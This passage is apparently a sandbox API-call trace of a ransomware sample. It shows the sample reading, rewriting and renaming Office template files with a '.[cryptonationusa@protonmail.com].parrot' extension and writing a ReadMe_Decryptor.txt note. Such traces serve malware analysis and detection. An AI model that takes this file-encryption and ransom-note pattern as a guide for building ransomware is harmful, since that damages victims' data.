(HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0178.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0178.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0178.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0178.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0178.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0178.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0178.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0178.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0178.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0178.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0178.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0178.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0178.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0178.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0178.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0178.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0178.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0178.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0178.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0178.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d33c8 [0178.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0178.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cabe0 [0178.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0178.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x3198458 [0178.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0178.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0178.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0178.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0178.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0178.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0178.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0178.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x22b80d8 [0178.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0178.849] WriteFile (in: hFile=0x284, lpBuffer=0x22b80e0*, nNumberOfBytesToWrite=0x2288, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x22b80e0*, lpNumberOfBytesWritten=0x18ebe4*=0x2288, lpOverlapped=0x0) returned 1 [0178.852] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b80d8 | out: hHeap=0x5b0000) returned 1 [0178.852] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2281, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0178.852] CloseHandle (hObject=0x284) returned 1 [0178.852] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0178.852] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x225fe68 [0178.852] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0178.852] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\distinctive.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\distinctive.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.853] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225fe68 | out: hHeap=0x5b0000) returned 1 [0178.853] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0178.853] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4098 | out: hHeap=0x5b0000) returned 1 [0178.853] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c98 [0178.853] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0178.853] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0178.854] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0178.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e9d8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0178.854] GetFileType (hFile=0x284) returned 0x1 [0178.855] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0178.866] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2342, nNumberOfBytesToLockHigh=0x0) returned 1 [0178.866] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.866] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.867] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.868] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x222a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x222a, lpOverlapped=0x0) returned 1 [0178.868] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0178.868] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.868] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0178.868] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0178.868] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0178.868] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0178.868] GetLastError () returned 0x0 [0178.869] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0178.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0178.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0178.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0178.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0178.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0178.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0178.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0178.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0178.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0178.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0178.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0178.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0178.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0178.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0178.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0178.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0178.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0178.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0178.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0178.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0178.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0178.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0178.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0178.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0178.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0178.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0178.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0178.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0178.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0178.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d33c8 [0178.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0178.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cabe0 [0178.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0178.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x3198458 [0178.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0178.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0178.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0178.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0178.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0178.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0178.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0178.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x22b80d8 [0178.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0178.870] WriteFile (in: hFile=0x284, lpBuffer=0x22b80e0*, nNumberOfBytesToWrite=0x2348, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x22b80e0*, lpNumberOfBytesWritten=0x18ebe4*=0x2348, lpOverlapped=0x0) returned 1 [0178.873] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b80d8 | out: hHeap=0x5b0000) returned 1 [0178.873] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2342, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0178.873] CloseHandle (hObject=0x284) returned 1 [0178.873] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0178.874] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x225fe68 [0178.874] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0178.874] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\elegant.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\elegant.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.875] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225fe68 | out: hHeap=0x5b0000) returned 1 [0178.875] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0178.875] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4098 | out: hHeap=0x5b0000) returned 1 [0178.875] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c98 [0178.875] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0178.875] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0178.875] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0178.878] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2333, nNumberOfBytesToLockHigh=0x0) returned 1 [0178.878] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.878] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.880] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.880] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x221b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x221b, lpOverlapped=0x0) returned 1 [0178.881] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0178.881] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.881] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0178.881] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0178.881] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0178.881] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0178.881] GetLastError () returned 0x0 [0178.881] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.881] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0178.881] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0178.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0178.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0178.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0178.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0178.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0178.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0178.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0178.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0178.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0178.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0178.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0178.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0178.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0178.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0178.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0178.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0178.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0178.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0178.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0178.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0178.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0178.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0178.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0178.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0178.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0178.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0178.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0178.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0178.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d33c8 [0178.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0178.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cabe0 [0178.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0178.883] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2333, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0178.883] CloseHandle (hObject=0x284) returned 1 [0178.883] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\fancy.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\fancy.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.886] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d3298 | out: hHeap=0x5b0000) returned 1 [0178.886] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0178.886] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4098 | out: hHeap=0x5b0000) returned 1 [0178.888] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2280, nNumberOfBytesToLockHigh=0x0) returned 1 [0178.888] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.888] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.890] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.890] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2168, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2168, lpOverlapped=0x0) returned 1 [0178.891] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.891] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2280, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0178.891] CloseHandle (hObject=0x284) returned 1 [0178.892] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\formal.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\formal.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.894] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d3298 | out: hHeap=0x5b0000) returned 1 [0178.894] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0178.894] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4098 | out: hHeap=0x5b0000) returned 1 [0178.898] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2224, nNumberOfBytesToLockHigh=0x0) returned 1 [0178.899] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.899] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.900] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.900] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x210c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x210c, lpOverlapped=0x0) returned 1 [0178.901] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.901] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2224, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0178.901] CloseHandle (hObject=0x284) returned 1 [0178.901] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\manuscript.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft 